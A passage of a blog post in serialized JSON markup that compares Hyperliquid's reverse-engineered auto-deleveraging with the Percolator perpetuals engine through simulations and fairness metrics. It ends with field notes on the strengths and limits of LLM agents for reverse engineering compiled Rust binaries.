tag":118,"props":166519,"children":166521},{"className":166520,"style":23543},[6023,23542,6073],[166522],{"type":28,"value":7997},{"type":22,"tag":118,"props":166524,"children":166526},{"className":166525},[23699],[166527],{"type":28,"value":23702},{"type":22,"tag":118,"props":166529,"children":166531},{"className":166530},[6050],[166532],{"type":22,"tag":118,"props":166533,"children":166535},{"className":166534,"style":94726},[6055],[166536],{"type":22,"tag":118,"props":166537,"children":166538},{},[],{"type":28,"value":166540}," — ",{"type":22,"tag":114,"props":166542,"children":166544},{"className":166543},[5995,5996],[166545],{"type":22,"tag":118,"props":166546,"children":166548},{"className":166547},[6001],[166549],{"type":22,"tag":118,"props":166550,"children":166552},{"className":166551,"ariaHidden":6007},[6006],[166553],{"type":22,"tag":118,"props":166554,"children":166556},{"className":166555},[6012],[166557,166562],{"type":22,"tag":118,"props":166558,"children":166561},{"className":166559,"style":166560},[6017],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":22,"tag":118,"props":166563,"children":166565},{"className":166564},[6023],[166566,166571],{"type":22,"tag":118,"props":166567,"children":166569},{"className":166568,"style":96651},[6023,23542],[166570],{"type":28,"value":163200},{"type":22,"tag":118,"props":166572,"children":166574},{"className":166573},[6040],[166575],{"type":22,"tag":118,"props":166576,"children":166578},{"className":166577},[6045,23596],[166579,166624],{"type":22,"tag":118,"props":166580,"children":166582},{"className":166581},[6050],[166583,166619],{"type":22,"tag":118,"props":166584,"children":166586},{"className":166585,"style":110360},[6055],[166587,166603],{"type":22,"tag":118,"props":166588,"children":166589},{"style":166429},[166590,166594],{"type":22,"tag":118,"props":166591,"children":166593},{"className":166592,"style":6065},[6064],[],{"type":22,"tag":118,"props":166595,"children":166597},{"className":166596},[6070,6071,6072,6073],[166598],{"type":22,"tag":118,"props":166599,"children":166601},{"className":166600,"style":23543},[6023,23542,6073],[166602],{"type":28,"value":7997},{"type":22,"tag":118,"props":166604,"children":166605},{"style":6059},[166606,166610],{"type":22,"tag":118,"props":166607,"children":166609},{"className":166608,"style":6065},[6064],[],{"type":22,"tag":118,"props":166611,"children":166613},{"className":166612},[6070,6071,6072,6073],[166614],{"type":22,"tag":118,"props":166615,"children":166617},{"className":166616,"style":95129},[6023,23542,6073],[166618],{"type":28,"value":162714},{"type":22,"tag":118,"props":166620,"children":166622},{"className":166621},[23699],[166623],{"type":28,"value":23702},{"type":22,"tag":118,"props":166625,"children":166627},{"className":166626},[6050],[166628],{"type":22,"tag":118,"props":166629,"children":166631},{"className":166630,"style":166472},[6055],[166632],{"type":22,"tag":118,"props":166633,"children":166634},{},[],{"type":28,"value":166636}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":22,"tag":114,"props":166638,"children":166640},{"className":166639},[5995,5996],[166641],{"type":22,"tag":118,"props":166642,"children":166644},{"className":166643},[6001],[166645],{"type":22,"tag":118,"props":166646,"children":166648},{"className":166647,"ariaHidden":6007},[6006],[166649],{"type":22,"tag":118,"props":166650,"children":166652},{"className":166651},[6012],[166653,166657],{"type":22,"tag":118,"props":166654,"children":166656},{"className":166655,"style":112484},[6017],[],{"type":22,"tag":118,"props":166658,"children":166660},{"className":166659,"style":95129},[6023,23542],[166661],{"type":28,"value":162714},{"type":22,"tag":31,"props":166663,"children":166664},{},[166665],{"type":28,"value":166666},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":22,"tag":166668,"props":166669,"children":166671},"git-hub-repo-link",{"url":166670},"https://github.com/aeyakovenko/percolator",[],{"type":22,"tag":31,"props":166673,"children":166674},{},[166675,166677,166682],{"type":28,"value":166676},"Given a fixed ",{"type":22,"tag":4764,"props":166678,"children":166679},{},[166680],{"type":28,"value":166681},"a priori",{"type":28,"value":166683}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":22,"tag":31,"props":166685,"children":166686},{},[166687,166689,166694,166696,166773],{"type":28,"value":166688},"One prediction that we can make is that Percolator is ",{"type":22,"tag":4764,"props":166690,"children":166691},{},[166692],{"type":28,"value":166693},"perfectly fair",{"type":28,"value":166695}," according to this scoring: the ",{"type":22,"tag":114,"props":166697,"children":166699},{"className":166698},[5995,5996],[166700],{"type":22,"tag":118,"props":166701,"children":166703},{"className":166702},[6001],[166704],{"type":22,"tag":118,"props":166705,"children":166707},{"className":166706,"ariaHidden":6007},[6006],[166708],{"type":22,"tag":118,"props":166709,"children":166711},{"className":166710},[6012],[166712,166716],{"type":22,"tag":118,"props":166713,"children":166715},{"className":166714,"style":143922},[6017],[],{"type":22,"tag":118,"props":166717,"children":166719},{"className":166718},[6023],[166720,166725],{"type":22,"tag":118,"props":166721,"children":166723},{"className":166722},[6023,23542],[166724],{"type":28,"value":85941},{"type":22,"tag":118,"props":166726,"children":166728},{"className":166727},[6040],[166729],{"type":22,"tag":118,"props":166730,"children":166732},{"className":166731},[6045,23596],[166733,166762],{"type":22,"tag":118,"props":166734,"children":166736},{"className":166735},[6050],[166737,166757],{"type":22,"tag":118,"props":166738,"children":166740},{"className":166739,"style":95172},[6055],[166741],{"type":22,"tag":118,"props":166742,"children":166743},{"style":94699},[166744,166748],{"type":22,"tag":118,"props":166745,"children":166747},{"className":166746,"style":6065},[6064],[],{"type":22,"tag":118,"props":166749,"children":166751},{"className":166750},[6070,6071,6072,6073],[166752],{"type":22,"tag":118,"props":166753,"children":166755},{"className":166754},[6023,23542,6073],[166756],{"type":28,"value":3613},{"type":22,"tag":118,"props":166758,"children":166760},{"className":166759},[23699],[166761],{"type":28,"value":23702},{"type":22,"tag":118,"props":166763,"children":166765},{"className":166764},[6050],[166766],{"type":22,"tag":118,"props":166767,"children":166769},{"className":166768,"style":94726},[6055],[166770],{"type":22,"tag":118,"props":166771,"children":166772},{},[],{"type":28,"value":166774}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":22,"tag":31,"props":166776,"children":166777},{},[166778,166780,166785],{"type":28,"value":166779},"We are ignoring the ",{"type":22,"tag":4764,"props":166781,"children":166782},{},[166783],{"type":28,"value":166784},"a posteriori",{"type":28,"value":166786}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":22,"tag":31,"props":166788,"children":166789},{},[166790],{"type":28,"value":166791},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":22,"tag":23,"props":166793,"children":166795},{"id":166794},"simulations",[166796],{"type":28,"value":166797},"Simulations",{"type":22,"tag":31,"props":166799,"children":166800},{},[166801],{"type":28,"value":166802},"Let's consider the following price scenarios, as we said:",{"type":22,"tag":31,"props":166804,"children":166805},{},[166806],{"type":22,"tag":5928,"props":166807,"children":166810},{"alt":166808,"src":166809},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":22,"tag":31,"props":166812,"children":166813},{},[166814],{"type":28,"value":166815},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":22,"tag":31,"props":166817,"children":166818},{},[166819],{"type":22,"tag":5928,"props":166820,"children":166823},{"alt":166821,"src":166822},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":22,"tag":1289,"props":166825,"children":166827},{"id":166826},"percolator-is-more-optimistic",[166828],{"type":28,"value":166829},"Percolator Is More \"Optimistic\"",{"type":22,"tag":31,"props":166831,"children":166832},{},[166833,166835,166840,166842,166847,166849,166855,166857,166862],{"type":28,"value":166834},"The key difference is what happens to positions. ADL ",{"type":22,"tag":4764,"props":166836,"children":166837},{},[166838],{"type":28,"value":166839},"permanently closes",{"type":28,"value":166841}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":22,"tag":4764,"props":166843,"children":166844},{},[166845],{"type":28,"value":166846},"withdraw",{"type":28,"value":166848},", but the position stays open. If conditions improve, ",{"type":22,"tag":114,"props":166850,"children":166852},{"className":166851},[],[166853],{"type":28,"value":166854},"Residual",{"type":28,"value":166856}," goes up, ",{"type":22,"tag":114,"props":166858,"children":166860},{"className":166859},[],[166861],{"type":28,"value":85941},{"type":28,"value":166863}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":22,"tag":31,"props":166865,"children":166866},{},[166867,166869,166873],{"type":28,"value":166868},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":22,"tag":4764,"props":166870,"children":166871},{},[166872],{"type":28,"value":22154},{"type":28,"value":166874}," per position, though the tradeoff is that fewer traders get to participate.",{"type":22,"tag":31,"props":166876,"children":166877},{},[166878],{"type":22,"tag":5928,"props":166879,"children":166882},{"alt":166880,"src":166881},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":22,"tag":23,"props":166884,"children":166886},{"id":166885},"some-points-to-be-made",[166887],{"type":28,"value":166888},"Some Points to Be Made",{"type":22,"tag":1289,"props":166890,"children":166892},{"id":166891},"percolator-is-indifferent-to-leverage",[166893],{"type":28,"value":166894},"Percolator Is Indifferent to Leverage",{"type":22,"tag":31,"props":166896,"children":166897},{},[166898],{"type":28,"value":166899},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":22,"tag":31,"props":166901,"children":166902},{},[166903],{"type":22,"tag":5928,"props":166904,"children":166907},{"alt":166905,"src":166906},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":22,"tag":1289,"props":166909,"children":166911},{"id":166910},"fairness",[166912],{"type":28,"value":162465},{"type":22,"tag":31,"props":166914,"children":166915},{},[166916],{"type":28,"value":166917},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":22,"tag":31,"props":166919,"children":166920},{},[166921],{"type":22,"tag":5928,"props":166922,"children":166925},{"alt":166923,"src":166924},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":22,"tag":31,"props":166927,"children":166928},{},[166929,166931,166936],{"type":28,"value":166930},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":22,"tag":114,"props":166932,"children":166934},{"className":166933},[],[166935],{"type":28,"value":160967},{"type":28,"value":166937}," we start by fully closing the worst position against the best-performing trader.",{"type":22,"tag":23,"props":166939,"children":166941},{"id":166940},"strengths-and-limitations-of-agents-for-reverse-engineering",[166942],{"type":28,"value":166943},"Strengths and Limitations of Agents for Reverse Engineering",{"type":22,"tag":31,"props":166945,"children":166946},{},[166947],{"type":28,"value":166948},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":22,"tag":1289,"props":166950,"children":166952},{"id":166951},"hooks",[166953],{"type":28,"value":166954},"Hooks",{"type":22,"tag":31,"props":166956,"children":166957},{},[166958,166960,166964],{"type":28,"value":166959},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":22,"tag":4764,"props":166961,"children":166962},{},[166963],{"type":28,"value":166951},{"type":28,"value":166965},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":22,"tag":31,"props":166967,"children":166968},{},[166969],{"type":28,"value":166970},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":22,"tag":1289,"props":166972,"children":166974},{"id":166973},"scale",[166975],{"type":28,"value":166976},"Scale",{"type":22,"tag":31,"props":166978,"children":166979},{},[166980],{"type":28,"value":166981},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":22,"tag":31,"props":166983,"children":166984},{},[166985],{"type":28,"value":166986},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":22,"tag":1289,"props":166988,"children":166990},{"id":166989},"whats-next",[166991],{"type":28,"value":166992},"What's next?",{"type":22,"tag":31,"props":166994,"children":166995},{},[166996],{"type":28,"value":166997},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":22,"tag":166668,"props":166999,"children":167000},{"url":160628},[],{"type":22,"tag":31,"props":167002,"children":167003},{},[167004],{"type":28,"value":167005},"The analyzed binary can be found here:",{"type":22,"tag":160948,"props":167007,"children":167010},{"path":167008,"name":160552,"size":167009},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":22,"tag":1289,"props":167012,"children":167014},{"id":167013},"closing-words",[167015],{"type":28,"value":167016},"Closing Words",{"type":22,"tag":31,"props":167018,"children":167019},{},[167020],{"type":28,"value":167021},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":22,"tag":31,"props":167023,"children":167024},{},[167025,167027,167032],{"type":28,"value":167026},"Flagship models got us 60% of the way there, but a lot of ",{"type":22,"tag":4764,"props":167028,"children":167029},{},[167030],{"type":28,"value":167031},"manual",{"type":28,"value":167033}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":22,"tag":31,"props":167035,"children":167036},{},[167037],{"type":28,"value":167038},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":22,"tag":31,"props":167040,"children":167041},{},[167042],{"type":28,"value":167043},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":22,"tag":167045,"props":167046,"children":167047},"report-footnotes",{},[167048],{"type":22,"tag":4029,"props":167049,"children":167050},{},[167051,167056,167083,167088,167093],{"type":22,"tag":68,"props":167052,"children":167053},{},[167054],{"type":28,"value":167055},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":22,"tag":68,"props":167057,"children":167058},{},[167059,167065,167067,167073,167075,167081],{"type":22,"tag":114,"props":167060,"children":167062},{"className":167061},[],[167063],{"type":28,"value":167064},"compute_user_margin_and_shortfall",{"type":28,"value":167066}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":22,"tag":114,"props":167068,"children":167070},{"className":167069},[],[167071],{"type":28,"value":167072},"0x748",{"type":28,"value":167074}," in the abstract expressions of ",{"type":22,"tag":114,"props":167076,"children":167078},{"className":167077},[],[167079],{"type":28,"value":167080},"btree_cursor",{"type":28,"value":167082},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":22,"tag":68,"props":167084,"children":167085},{},[167086],{"type":28,"value":167087},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":22,"tag":68,"props":167089,"children":167090},{},[167091],{"type":28,"value":167092},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":22,"tag":68,"props":167094,"children":167095},{},[167096,167098,167104],{"type":28,"value":167097},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":22,"tag":114,"props":167099,"children":167101},{"className":167100},[],[167102],{"type":28,"value":167103},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":292},{"title":7,"searchDepth":142,"depth":142,"links":167106},[167107,167108,167109,167110,167111,167114,167115,167116,167119,167120,167123,167127],{"id":160498,"depth":142,"text":160501},{"id":160491,"depth":142,"text":160519},{"id":160576,"depth":142,"text":160579},{"id":160857,"depth":142,"text":160860},{"id":160891,"depth":142,"text":160894,"children":167112},[167113],{"id":161030,"depth":177,"text":161033},{"id":161809,"depth":142,"text":161812},{"id":161905,"depth":142,"text":161908},{"id":162123,"depth":142,"text":162126,"children":167117},[167118],{"id":162368,"depth":177,"text":162371},{"id":162428,"depth":142,"text":162431},{"id":166794,"depth":142,"text":166797,"children":167121},[167122],{"id":166826,"depth":177,"text":166829},{"id":166885,"depth":142,"text":166888,"children":167124},[167125,167126],{"id":166891,"depth":177,"text":166894},{"id":166910,"depth":177,"text":162465},{"id":166940,"depth":142,"text":166943,"children":167128},[167129,167130,167131,167132],{"id":166951,"depth":177,"text":166954},{"id":166973,"depth":177,"text":166976},{"id":166989,"depth":177,"text":166992},{"id":167013,"depth":177,"text":167016},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630612]